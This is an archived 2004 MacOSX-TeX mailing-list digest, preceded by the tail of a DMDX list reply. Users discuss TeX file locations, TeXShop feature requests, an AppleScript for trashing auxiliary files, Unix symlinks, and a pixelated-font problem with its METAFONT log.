>mouse> >2950> > > > >+1002 *""f_andy_lfp""/ <% 35>/; > >+1039 *""f_cylinder""/ <% 35>/; > >-9001 * ""1X_O""/ <% 148> /; > >+3005 *""am_gt_gp""/ <% 35>/; > > > >Item RT COT ISI # tics > >1002 -2950 0 4204.88 315.4449 > >1039 -2950 4204.88 4204.54 315.4194 > >9001 -1490 8409.42 4204.88 315.4449 > >3005 -2950 12614.3 4201.29 315.1755 > > Looks to me like your refresh rate isn't really 75Hz, it's more like > 80Hz. It's possible when you change video cards or monitors for TimeDX > settings to stay set at some frequency that's no longer being used, you > need to time your video mode again. If you're using XP you might give some > thought to using video modes like 800,600,16,75 instead of > 800,600,16,0. While not foolproof I've only seen a specific retrace rate > be incorrect once. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""I have made mistakes but I have never made the mistake of claiming > that I have never made one."" > > - James Gordon Bennett > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 TeX on Mac OS X Mailing List ,TeX on Mac OS X Mailing List ,"Tue, 17 Aug 2004 20:00:01 -0400",MacOSX-TeX Digest #1109 - 08/17/04,"MacOSX-TeX Digest #1109 - Tuesday, August 17, 2004 Re: [OS X TeX] Location of input files by ""Herb Schulz"" Re: [OS X TeX] Fwd: Unwanted files have which extensions? by ""Alain Schremmer"" ""Clean up"" macro by ""Will Robertson"" Re: [OS X TeX] Location of input files by ""Stephen Moye"" Re: [OS X TeX] Fwd: Unwanted files have which extensions? by ""Will Robertson"" Re: [OS X TeX] TeX merchandising by ""Steffen Lund Hokland"" Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extensions?) by ""Bruno Voisin"" Re: [OS X TeX] TeX merchandising by ""Joseph C. Slater"" Bug? by ""Alain Schremmer"" aleph/eomega by ""Steffen Wolfrum"" Pixelated sans serif fonts (in TeXShop) by ""Michael S. Hanson"" Re: Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extension by ""Herb Schulz"" Re: Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extension by ""Bruno Voisin"" Re: [OS X TeX] Pixelated sans serif fonts (in TeXShop) by ""Herb Schulz"" Re: Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extension by ""Herb Schulz"" ---------------------------------------------------------------------- Subject: Re: [OS X TeX] Location of input files From: ""Herb Schulz"" Date: Mon, 16 Aug 2004 19:44:31 -0500 On 8/16/04 5:18 PM, ""Stephen Moye"" wrote: > I am using TeXShop/XeTeX and plain TeX. I want to put my input files > somewhere where I can simply say > > \\input blabla.tex > > and have the input file found. I've tried > > /Users/admin/Library/texmf/ > > but that doesn't work. > > Any tips? Please!! ;>} > > Thanks > Howdy, I assume `admin' is the user's name!? I think you've got a to go a bit deeper (~ is you HOME directory, /Users/admin/ if you're short login name is `admin'): ~/Library/texmf/tex/ for startes. If that doesn't work try one level deeper: ~/Library/texmf/tex/plain/ for TeX files and ~/Library/texmf/tex/latex/ for LaTeX files. Hope that helps. Good Luck, Herb Schulz (herbs@wideopenwest.com) ---------------------------------------------------------------------- Subject: Re: [OS X TeX] Fwd: Unwanted files have which extensions? From: ""Alain Schremmer"" Date: Mon, 16 Aug 2004 19:19:23 -0400 --Apple-Mail-1-574530285 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=WINDOWS-1252; format=flowed Since we are into ""things I/d like to see in TeXshop"", here is my wish=20= list: - When including figures, I would like TeXshop to accept aliases. I=20 still save copies before doing something I am not sure of. The way I do=20= it is to have the TeX file and the Figures in a folder carrying the=20 version number. Then, I just duplicate the folder and increase its=20 version number. It would be nice to use only aliases for, instead of=20 copies of, the figures. - I would like to be able to command-select to apply at least certain=20 macros as when I want to emphasize several non-consecutive words =85 - I would like to be able to change case in the source. - I would like to be able to =93no show=94 certain formatting macros = such=20 as \\emph, textbf, textit, textsc, etc in the source. Better yet would=20 be to render the corresponding formatting in the source. After all, the=20= source has these formats available. - I would like to have wild card in find and replace. Regards --schremmer On Aug 16, 2004, at 3:23 PM, Stefan Walsen wrote: > Josep M.Font wrote: >> El 16 ago 2004, a las 12:41, Will Robertson escribi=F3: >> I have three suggestions related to this issue: >> 1) I suppose it will be easy to customize the list of extensions in=20= >> the list, e.g., sometimes I will want to keep the ""bbl"" file but=20 >> trash the rest. > > This is very easy to change when done from a script, but more=20 > complicated when integrated like in your second suggestion. > But those files are all generated automatically, and I can't think of=20= > any circumstance where you'd want to keep some and trash the rest. > >> 3) A suggestion for the design of TeXShop: Make all the ""related""=20 >> files accessible within TeXShop itself. I.e., now you can access your=20= >> ""file.tex"" and ""file.pdf"" from the bottom section of the Window menu.=20= >> If you are dealing with several files at the same time, this becomes=20= >> a bit cluttered, but nevertheless you can only access the source and=20= >> the pdf. I would thus suggest that each main file writes a single=20 >> entry in the Window menu, and that all the related files appear in a=20= >> submenu, to the left. And even more, I would also suggest a different=20= >> scheme of key equivalent for this, instead of the command-1 to jump=20= >> back-and-forth between source and pdf. For instance, using the=20 >> control key plus an alphabetic modifier: ctrl + : s for source, p for=20= >> pdf, c for console, a for aux, b for bbl, l for log, i for ind, t for=20= >> toc... and user-customizable, too. > > As i just mentioned, in general none of these are edited by hand.=20 > _Maybe_ you'd want to look inside the main (.log), index (.idl) or=20 > bibtex (.bbl) log files - but this is only for finding some very=20 > obscure errors, and probably not worth integrating into an editor. > > Something I'd like to see in TeXShop would be keyboard shortcuts for=20= > the Scripts menu ... maybe just Shift-Command-1..9 for the first 9=20 > entries in the menu, or maybe for the entries in the first submenu,=20 > and then you could arrange your most needed scripts there? > > Stefan > --------------------- Info --------------------- > Mac-TeX Website: http://www.esm.psu.edu/mac-tex/ > & FAQ: http://latex.yauh.de/faq/ > TeX FAQ: http://www.tex.ac.uk/faq > List Post: > > --Apple-Mail-1-574530285 Content-Transfer-Encoding: quoted-printable Content-Type: text/enriched; charset=WINDOWS-1252 Since we are into ""things I/d like to see in TeXshop"", here is my wish list: Times- When including figures, I would like TeXshop to accept aliases. I still save copies before doing something I am not sure of. The way I do it is to have the TeX file and the Figures in a folder carrying the version number. Then, I just duplicate the folder and increase its version number. It would be nice to use only aliases for, instead of copies of, the figures. - I would like to be able to command-select to apply at least certain macros as when I want to emphasize several non-consecutive words =85 - I would like to be able to change case in the source. - I would like to be able to =93no show=94 certain formatting macros such as \\emph, textbf, textit, textsc, etc in the source. Better yet would be to render the corresponding formatting in the source. After all, the source has these formats available. - I would like to have wild card in find and replace. Regards --schremmer On Aug 16, 2004, at 3:23 PM, Stefan Walsen wrote: Josep M.Font wrote: El 16 ago 2004, a las 12:41, Will Robertson escribi=F3: I have three suggestions related to this issue: 1) I suppose it will be easy to customize the list of extensions in the list, e.g., sometimes I will want to keep the ""bbl"" file but trash the rest. This is very easy to change when done from a script, but more complicated when integrated like in your second suggestion. But those files are all generated automatically, and I can't think of any circumstance where you'd want to keep some and trash the rest. 3) A suggestion for the design of TeXShop: Make all the ""related"" files accessible within TeXShop itself. I.e., now you can access your ""file.tex"" and ""file.pdf"" from the bottom section of the Window menu. If you are dealing with several files at the same time, this becomes a bit cluttered, but nevertheless you can only access the source and the pdf. I would thus suggest that each main file writes a single entry in the Window menu, and that all the related files appear in a submenu, to the left. And even more, I would also suggest a different scheme of key equivalent for this, instead of the command-1 to jump back-and-forth between source and pdf. For instance, using the control key plus an alphabetic modifier: ctrl + : s for source, p for pdf, c for console, a for aux, b for bbl, l for log, i for ind, t for toc... and user-customizable, too. As i just mentioned, in general none of these are edited by hand. _Maybe_ you'd want to look inside the main (.log), index (.idl) or bibtex (.bbl) log files - but this is only for finding some very obscure errors, and probably not worth integrating into an editor. Something I'd like to see in TeXShop would be keyboard shortcuts for the Scripts menu ... maybe just Shift-Command-1..9 for the first 9 entries in the menu, or maybe for the entries in the first submenu, and then you could arrange your most needed scripts there? Stefan --------------------- Info --------------------- Mac-TeX Website: http://www.esm.psu.edu/mac-tex/ & FAQ: http://latex.yauh.de/faq/ TeX FAQ: http://www.tex.ac.uk/faq List Post: < = --Apple-Mail-1-574530285-- ---------------------------------------------------------------------- Subject: ""Clean up"" macro From: ""Will Robertson"" Date: Tue, 17 Aug 2004 12:32:09 +0930 Hi all I've got a macro for you guys to test! If it's all good I'll add it to my others for download. Comments of any sort are welcome! (Note that an iTeXMac version is not planned immediately due to time constraints, but is not hard to adapt - any volunteers?) Anyway, you can customise the extensions list at the top if you wish (I'm still accepting obscure extensions for the `final' version), and there's a boolean you can set called delete_files_only_with_same_name. Say you've got: main.tex main.aux chap1.tex chap1.aux If you run the script with that flag as false (default), it will delete both .aux files. Otherwise, as true, it will delete only the one corresponding to the tex document you run the script on. Hope it's useful! Will --Applescript -- CUSTOMISE TO YOUR LIKING: property extensions_to_delete : {""aux"", ""bbl"", ""blg"", ""brf"", ""glo"", ""idx"", ""ilg"", ""ind"", ""loa"", ""lof"", ""log"", ""lot"", ""mtc"", ""mlf"", ""out"", ""pdfsync"", ""toc""} property delete_files_only_with_same_name : false -- If your file is document.tex, setting this true will delete only document.aux, document.log, etc., but NOT otherdoc.aux, otherdoc.log, etc. -- Otherwise, ALL files with the extensions_to_delete will be deleted. -- THE SCRIPT: tell application ""TeXShop"" set texpath to alias posix file #TEXPATH# -- gives ""/path/to/docu.tex"" tell application ""Finder"" set texfolder to the container of (texpath as alias) if delete_files_only_with_same_name then set texname to the name of (texpath as alias) set texname to do shell script ""echo "" & the quoted form of texname & "" | cut -f 1 -d '.'"" set texfiles to every file in texfolder whose name contains (texname & ""."") else set texfiles to every file in texfolder end if end tell set files_to_delete to {} set filenames_to_delete to {} repeat with this_file in texfiles if (the name extension of this_file is in extensions_to_delete) then set the end of files_to_delete to (this_file) set the end of filenames_to_delete to "" "" & (the name of this_file as string) & return end if end repeat display dialog ""Are you sure you want to move the following files to the trash?"" & return & filenames_to_delete as string buttons {""Keep"", ""Trash""} default button ""Trash"" with icon caution if the button returned of the result is ""Trash"" then tell application ""Finder"" to move every item of files_to_delete to the trash end if end tell ---------------------------------------------------------------------- Subject: Re: [OS X TeX] Location of input files From: ""Stephen Moye"" Date: Mon, 16 Aug 2004 20:53:42 -0400 I answered my own question -- such files belong in ~/Library/texmf/tex/ TaDa! S On Aug 16, 2004, at 6:18 PM, Stephen Moye wrote: > I am using TeXShop/XeTeX and plain TeX. I want to put my input files > somewhere where I can simply say > > \\input blabla.tex > > and have the input file found. I've tried > > /Users/admin/Library/texmf/ > > but that doesn't work. > > Any tips? Please!! ;>} > > Thanks > > --------------------- Info --------------------- > Mac-TeX Website: http://www.esm.psu.edu/mac-tex/ > & FAQ: http://latex.yauh.de/faq/ > TeX FAQ: http://www.tex.ac.uk/faq > List Post: > > ---------------------------------------------------------------------- Subject: Re: [OS X TeX] Fwd: Unwanted files have which extensions? From: ""Will Robertson"" Date: Tue, 17 Aug 2004 11:38:23 +0930 On 16 Aug 2004, at 9:01 PM, Stefan Walsen wrote: > I clean these: > {aux,bbl,blg,brf,dvi,glo,idx,ilg,ind,lof,log,lot,out,toc} > > actually, I also remove the pdf and html, but I think you normally > wouldn't want to do this :) Thanks for all of them! And thanks Constantinos, for your three. > You were going to only remove files with the same basename as the > current document, right? Actually I wasn't, but I'll add it as an option - my reasoning being that when I have a bunch of \\include files, they get .aux files and things too. Thanks! Will ---------------------------------------------------------------------- Subject: Re: [OS X TeX] TeX merchandising From: ""Steffen Lund Hokland"" Date: Tue, 17 Aug 2004 10:17:34 +0200 > Did you know that (La)TeX merchandising exists? So if you're looking > for a christmas present or something for Hanukah check out > http://www.dream.kn-bremen.de/tex/merchandising/ > You can even get the TeX lion as a teddy bear. I'm looking forward for the dirty underwear series for the wife's christmas present :-) ---------------------------------------------------------------------- Subject: Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extensions?) From: ""Bruno Voisin"" Date: Tue, 17 Aug 2004 09:44:59 +0200 Le 17 août 04, à 01:19, Alain Schremmer a écrit : > - When including figures, I would like TeXshop to accept aliases. I > still save copies before doing something I am not sure of. The way I > do it is to have the TeX file and the Figures in a folder carrying the > version number. Then, I just duplicate the folder and increase its > version number. It would be nice to use only aliases for, instead of > copies of, the figures. Here the problem is not with TeXShop, but with tex (the command line program, which is the engine used by TeXShop behind the scene). tex, being of Unix origin (to simplify), does not understand Mac OS aliases; it does understand, however, Unix symlinks (contraction of symbolic links), created with the command ""ln -s"" in Terminal. To learn more about this command, you can type ""man ln"" (without the quotes) in Terminal. The Finder in Mac OS X understands both traditional Mac OS aliases, and Unix symlinks, and displays them in the same way. I've used symlinks in conjunction with TeXShop in the past, and that works. For example, one of the folders on my hard drive has a similar structure (edited for brevity) as the one you're looking for: ls -alR total 88 drwxrwxrwx 59 brunovoi staff 2006 13 Feb 2003 Dessins drwxrwxrwx 54 brunovoi staff 1836 16 Feb 2003 EPSF drwxrwxrwx 59 brunovoi staff 2006 13 Feb 2003 Figures drwxrwxrwx 8 brunovoi staff 272 10 Jun 2003 Version 2.0.1 drwxrwxrwx 6 brunovoi staff 204 13 Feb 2003 Version 2.0.2 drwxrwxrwx 19 brunovoi staff 646 13 Feb 2003 Version 2.0.3 -rwxrwxrwx 1 brunovoi staff 5007 28 Oct 1999 lcdmacros.tex -rwxrwxrwx 1 brunovoi staff 5041 28 Oct 1999 lcdupmath.sty -rwxrwxrwx 1 brunovoi staff 4861 28 Dec 1998 macros.tex where the subfolder Figures contains: ./Figures: total 9520 -rwxrwxrwx 1 brunovoi staff 48729 30 Dec 1998 finfield.eps -rwxrwxrwx 1 brunovoi staff 65749 8 Jan 1999 geomfour.eps -rwxrwxrwx 1 brunovoi staff 86314 26 Aug 1998 geomreal.eps [...] and the folder Version 2.0.1 (where a .tex file to be typeset resides) contains: ./Version 2.0.1: total 1360 lrwxr-xr-x 1 brunovoi staff 10 14 May 2003 Figures -> ../Figures lrwxr-xr-x 1 brunovoi staff 13 14 May 2003 macros.tex -> ../macros.tex -rwxrwxrwx 1 brunovoi staff 131137 9 Mar 1999 pap3v2.tex -rwxrwxrwx 1 brunovoi staff 1408 9 Mar 1999 paren.tex -rwxrwxrwx 1 brunovoi staff 129472 11 Mar 1999 ppt3v2.tex The first letter ""l"" here at the beginning of a line indicates a symlink, and ""Figures -> ../Figures"" indicates the exact nature of this link (namely, the folder ""Figures"" in the parent directory). I've never got the syntax of ln to work exactly as I wanted it to, for example specifying the name of the symlink to be different from the link of the original file (or directory). To get the above structure I had to use trial-an-error, though I don't remember exactly what I did. In any case, for example: - ""ln -s AAA/BBB"" creates, in the current directory, a symlink named ""BBB"" to the subdirectory ""BBB"" of the subdirectory ""AAA"" of the current directory. - ""ln -s ../CCC/DDD"" creates, in current directory, a symlink named ""DDD"" to the subdirectory ""DDD"" of the subdirectory ""CCC"" of the parent directory. Maybe some Unix-knowledgeable people on this list would have more helpful indications on the precise syntax of ln? A lengthy discussion of symlinks with respect to TeX, entitled ""[OS X TeX] Aliases, symlinks and hard links"", also took place on this list starting 12 February 2003 . Hope this helps, Bruno Voisin ---------------------------------------------------------------------- Subject: Re: [OS X TeX] TeX merchandising From: ""Joseph C. Slater"" Date: Tue, 17 Aug 2004 16:14:13 -0400 On Aug 16, 2004, at 10:21 AM, Stephan Hochhaus wrote: > Did you know that (La)TeX merchandising exists? So if you're looking > for a christmas present or something for Hanukah check out > http://www.dream.kn-bremen.de/tex/merchandising/ > You can even get the TeX lion as a teddy bear. > > I think this is a great way of making TeX a little more public. I go one as a gift two years ago. My wife got them to ship to the US and all. Having my own TeX lion is very cool. Good quality, although not necessarily good for a toddler (who would likely rip some parts of it off pretty easily). It's designed more for adults for display. Joe ---------------------------------------------------------------------- Subject: Bug? From: ""Alain Schremmer"" Date: Tue, 17 Aug 2004 10:24:42 -0400 I am not sure if this a bug or if this is something with my installation as I keep getting more corrupted .aux files than I used to. However, I can reproduce it. Select a word. In the Latex panel, click Environment and then Itemize. Typeset. You now see in the pdf • word • • Now say oops and, in the source, hit undo and In the Latex panel, click Typeface and then Emphasize. Typeset. But, in the pdf you continue to see • word • • Of course, there is no hassle as, if you delete instead of undoing, everything works as it should. Regards --schremmer ---------------------------------------------------------------------- Subject: aleph/eomega From: ""Steffen Wolfrum"" Date: Tue, 17 Aug 2004 23:17:35 +0200 Hi, does anybody know if Aleph is available for MacOS(X)? There is no i-package, but maybe another way? Thank you, Steffen Wolfrum ---------------------------------------------------------------------- Subject: Pixelated sans serif fonts (in TeXShop) From: ""Michael S. Hanson"" Date: Tue, 17 Aug 2004 15:23:12 -0400 I am using \\textsf{} to render some text in sans serif in a LaTeX document, and discovered that this font appears as a bitmapped or badly ""pixelated"" font in the PDF document as viewed by TeXShop on my desktop. Oddly, I didn't have this font problem when I compiled the same LaTeX document on my PowerBook last night. I thought both machines had the same gwTeX installation, but perhaps not. (Unfortunately, I do not have the PB in my office today to confirm.) In any case, does anyone have suggestions for fixing this problem on my desktop? I have attached what I think (hope?) might be the relevant output to the TeXShop console, but I frankly don't understand the TeXnical side of LaTeX to make heads or tails of it. Thanks in advance for any assistance; apologies for the length. ----->8----- (/usr/local/teTeX/share/texmf.tetex/tex/latex/jknappen/ ursfs.fd)kpathsea: Running mktextfm ecss1000 mktextfm: Running mf-nowin -progname=mf \\mode:=ljfour; mag:=1; nonstopmode; input ecss1000 This is METAFONT, Version 2.71828 (Web2C 7.5.2) (/usr/local/teTeX/share/texmf.tetex/web2c/cp8bit.tcx) kpathsea: Running mktexmf ecss1000 mktexmf: /var/tmp/texfonts/source/jknappen/ec/ecss1000.mf: successfully generated. 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Output written on ecss1000.600gf (256 characters, 46404 bytes). Transcript written on ecss1000.log. mktextfm: /var/tmp/texfonts/tfm/jknappen/ec/ecss1000.tfm: successfully generated. kpathsea: Running mktextfm ecss0800 mktextfm: Running mf-nowin -progname=mf \\mode:=ljfour; mag:=1; nonstopmode; input ecss0800 This is METAFONT, Version 2.71828 (Web2C 7.5.2) (/usr/local/teTeX/share/texmf.tetex/web2c/cp8bit.tcx) kpathsea: Running mktexmf ecss0800 mktexmf: /var/tmp/texfonts/source/jknappen/ec/ecss0800.mf: successfully generated. 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Output written on ecss0800.600gf (256 characters, 37840 bytes). Transcript written on ecss0800.log. mktextfm: /var/tmp/texfonts/tfm/jknappen/ec/ecss0800.tfm: successfully generated. ---------------------------------------------------------------------- Subject: Re: Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extensions?) From: ""Herb Schulz"" Date: Tue, 17 Aug 2004 09:17:23 -0500 Howdy, The last item in my contextual menu (right-click, Ctl+click) when a file or folder is selected is ``Make Symbolic Link'' which will create a symbolic link with the name ``originalname symlink'' in that directory. You can change the name and move it wherever you wish after that. The command seems slow but it works; I'm sure it's doing a ln in the background. I'm using 10.3.5. Does anyone else have that? Where are these contextual menu items stored? Good Luck, Herb Schulz (herbs@wideopenwest.com) ---------------------------------------------------------------------- Subject: Re: Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extensions?) From: ""Bruno Voisin"" Date: Wed, 18 Aug 2004 01:39:41 +0200 Le 17 août 04, à 16:17, Herb Schulz a écrit : > The last item in my contextual menu (right-click, Ctl+click) when a > file or > folder is selected is ``Make Symbolic Link'' which will create a > symbolic > link with the name ``originalname symlink'' in that directory. You can > change the name and move it wherever you wish after that. The command > seems > slow but it works; I'm sure it's doing a ln in the background. I'm > using > 10.3.5. > > Does anyone else have that? Where are these contextual menu items > stored? I don't see this with contextual menus in the Finder (with 10.3.5). Do you have any special extension installed? Contextual menu items live in /Library/Contextual Menu Items and similar. For example, on my disk there is: Portable-de-Bruno:/System/Library/Contextual Menu Items brunovoisin$ ls -l total 0 drwxr-xr-x 3 root wheel 102 7 Jun 12:18 FolderActionsMenu.plugin Portable-de-Bruno:/Library/Contextual Menu Items brunovoisin$ ls -l total 0 drwxrwxr-x 4 root admin 136 7 Jun 16:37 StuffItCM.plugin Bruno Voisin ---------------------------------------------------------------------- Subject: Re: [OS X TeX] Pixelated sans serif fonts (in TeXShop) From: ""Herb Schulz"" Date: Tue, 17 Aug 2004 18:53:00 -0500 On 8/17/04 2:23 PM, ""Michael S. Hanson"" wrote: > I am using \\textsf{} to render some text in sans serif in a LaTeX > document, and discovered that this font appears as a bitmapped or badly > ""pixelated"" font in the PDF document as viewed by TeXShop on my > desktop. Oddly, I didn't have this font problem when I compiled the > same LaTeX document on my PowerBook last night. I thought both > machines had the same gwTeX installation, but perhaps not. > (Unfortunately, I do not have the PB in my office today to confirm.) > > In any case, does anyone have suggestions for fixing this problem on > my desktop? I have attached what I think (hope?) might be the relevant > output to the TeXShop console, but I frankly don't understand the > TeXnical side of LaTeX to make heads or tails of it. Thanks in advance > for any assistance; apologies for the length. > > ----->8----- > > (/usr/local/teTeX/share/texmf.tetex/tex/latex/jknappen/ > ursfs.fd)kpathsea: Running mktextfm ecss1000 > mktextfm: Running mf-nowin -progname=mf \\mode:=ljfour; mag:=1; > nonstopmode; input ecss1000 > This is METAFONT, Version 2.71828 (Web2C 7.5.2) > (/usr/local/teTeX/share/texmf.tetex/web2c/cp8bit.tcx) > kpathsea: Running mktexmf ecss1000 > mktexmf: /var/tmp/texfonts/source/jknappen/ec/ecss1000.mf: successfully > generated. > > (/var/tmp/texfonts/source/jknappen/ec/ecss1000.mf > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exbase.mf) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ecss.mf > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exroman.mf > Ok > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ > exaccess.mf > Ok) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ > expseudo.mf > Ok) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ > exruwest.mf > Ok [192] [193] [194] [195] [196] [197] [198] [199] [200] [201] [202] > [203] > [204] [205] [206] [207] [208] [209] [210] [211] [212] [213] [214] [215] > [216] [217] [218] [219] [220] [221] [222] [223]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrlwest.mf > Ok [224] [225] [226] [227] [228] [229] [230] [231] [232] [233] [234] > [235] > [236] [237] [238] [239] [240] [241] [242] [243] [244] [245] [246] [247] > [248] [249] [250] [251] [252] [253] [254] [255]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrueast.mf > Ok [128] [129] [130] [131] [132] [133] [134] [135] [136] [137] [138] > [139] > [140] [141] [142] [143] [144] [145] [146] [147] [148] [149] [150] [151] > [152] [153] [154] [155] [156] [157]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrleast.mf > Ok [158] [160] [161] [162] [163] [164] [165] [166] [167] [168] [169] > [170] > [171] [172] [173] [174] [175] [176] [177] [178] [179] [180] [181] [182] > [183] [184] [185] [186] [187] [188]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exbraces.mf > Ok [94] [126] [23] [40] [41] [60] [124] [62] [91] [93] [92] [123] [125] > [95] [127] [32]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/expunct.mf > Ok [14] [15] [19] [20] [13] [18] [33] [39] [42] [43] [44] [46] [47] > [58] > [59] [61] [96] [189] [17] [45] [16] [21] [22]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exaccent.mf > Ok [0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exsign.mf > Ok [24] [34] [35] [36] [37] [64] [191] [159]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrlig.mf > Ok [25] [26] [28] [27] [29] [30] [31]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exromp.mf > Ok [38] [63] [190]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrulett.mf > Ok [65] [66] [67] [68] [69] [70] [71] [72] [73] [74] [75] [76] [77] > [78] > [79] [80] [81] [82] [83] [84] [85] [86] [87] [88] [89] [90]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrllett.mf > Ok [97] [98] [99] [100] [101] [102] [103] [104] [105] [106] [107] [108] > [109] [110] [111] [112] [113] [114] [115] [116] [117] [118] [119] [120] > [121] [122]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrdigit.mf > Ok [48] [49] [50] [51] [52] [53] [54] [55] [56] [57]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrligtb.mf > Ok) ) ) ) > Font metrics written on ecss1000.tfm. > Output written on ecss1000.600gf (256 characters, 46404 bytes). > Transcript written on ecss1000.log. > mktextfm: /var/tmp/texfonts/tfm/jknappen/ec/ecss1000.tfm: successfully > generated. > kpathsea: Running mktextfm ecss0800 > mktextfm: Running mf-nowin -progname=mf \\mode:=ljfour; mag:=1; > nonstopmode; input ecss0800 > This is METAFONT, Version 2.71828 (Web2C 7.5.2) > (/usr/local/teTeX/share/texmf.tetex/web2c/cp8bit.tcx) > kpathsea: Running mktexmf ecss0800 > mktexmf: /var/tmp/texfonts/source/jknappen/ec/ecss0800.mf: successfully > generated. > > (/var/tmp/texfonts/source/jknappen/ec/ecss0800.mf > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exbase.mf) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ecss.mf > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exroman.mf > Ok > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ > exaccess.mf > Ok) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ > expseudo.mf > Ok) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/ > exruwest.mf > Ok [192] [193] [194] [195] [196] [197] [198] [199] [200] [201] [202] > [203] > [204] [205] [206] [207] [208] [209] [210] [211] [212] [213] [214] [215] > [216] [217] [218] [219] [220] [221] [222] [223]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrlwest.mf > Ok [224] [225] [226] [227] [228] [229] [230] [231] [232] [233] [234] > [235] > [236] [237] [238] [239] [240] [241] [242] [243] [244] [245] [246] [247] > [248] [249] [250] [251] [252] [253] [254] [255]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrueast.mf > Ok [128] [129] [130] [131] [132] [133] [134] [135] [136] [137] [138] > [139] > [140] [141] [142] [143] [144] [145] [146] [147] [148] [149] [150] [151] > [152] [153] [154] [155] [156] [157]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrleast.mf > Ok [158] [160] [161] [162] [163] [164] [165] [166] [167] [168] [169] > [170] > [171] [172] [173] [174] [175] [176] [177] [178] [179] [180] [181] [182] > [183] [184] [185] [186] [187] [188]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exbraces.mf > Ok [94] [126] [23] [40] [41] [60] [124] [62] [91] [93] [92] [123] [125] > [95] [127] [32]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/expunct.mf > Ok [14] [15] [19] [20] [13] [18] [33] [39] [42] [43] [44] [46] [47] > [58] > [59] [61] [96] [189] [17] [45] [16] [21] [22]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exaccent.mf > Ok [0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exsign.mf > Ok [24] [34] [35] [36] [37] [64] [191] [159]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrlig.mf > Ok [25] [26] [28] [27] [29] [30] [31]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exromp.mf > Ok [38] [63] [190]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrulett.mf > Ok [65] [66] [67] [68] [69] [70] [71] [72] [73] [74] [75] [76] [77] > [78] > [79] [80] [81] [82] [83] [84] [85] [86] [87] [88] [89] [90]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrllett.mf > Ok [97] [98] [99] [100] [101] [102] [103] [104] [105] [106] [107] [108] > [109] [110] [111] [112] [113] [114] [115] [116] [117] [118] [119] [120] > [121] [122]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrdigit.mf > Ok [48] [49] [50] [51] [52] [53] [54] [55] [56] [57]) > (/usr/local/teTeX/share/texmf.tetex/fonts/source/jknappen/ec/exrligtb.mf > Ok) ) ) ) > Font metrics written on ecss0800.tfm. > Output written on ecss0800.600gf (256 characters, 37840 bytes). > Transcript written on ecss0800.log. > mktextfm: /var/tmp/texfonts/tfm/jknappen/ec/ecss0800.tfm: successfully > generated. > > --------------------- Info --------------------- > Mac-TeX Website: http://www.esm.psu.edu/mac-tex/ > & FAQ: http://latex.yauh.de/faq/ > TeX FAQ: http://www.tex.ac.uk/faq > List Post: > > Howdy, Do you have the CMSuper fonts installed one one machine and not the other? Just a guess. Good Luck, Herb Schulz (herbs@wideopenwest.com) ---------------------------------------------------------------------- Subject: Re: Symlinks (was Re: [OS X TeX] Fwd: Unwanted files have which extensions?) From: ""Herb Schulz"" Date: Tue, 17 Aug 2004 18:56:18 -0500 On 8/17/04 6:39 PM, ""Bruno Voisin"" wrote: > I don't see this with contextual menus in the 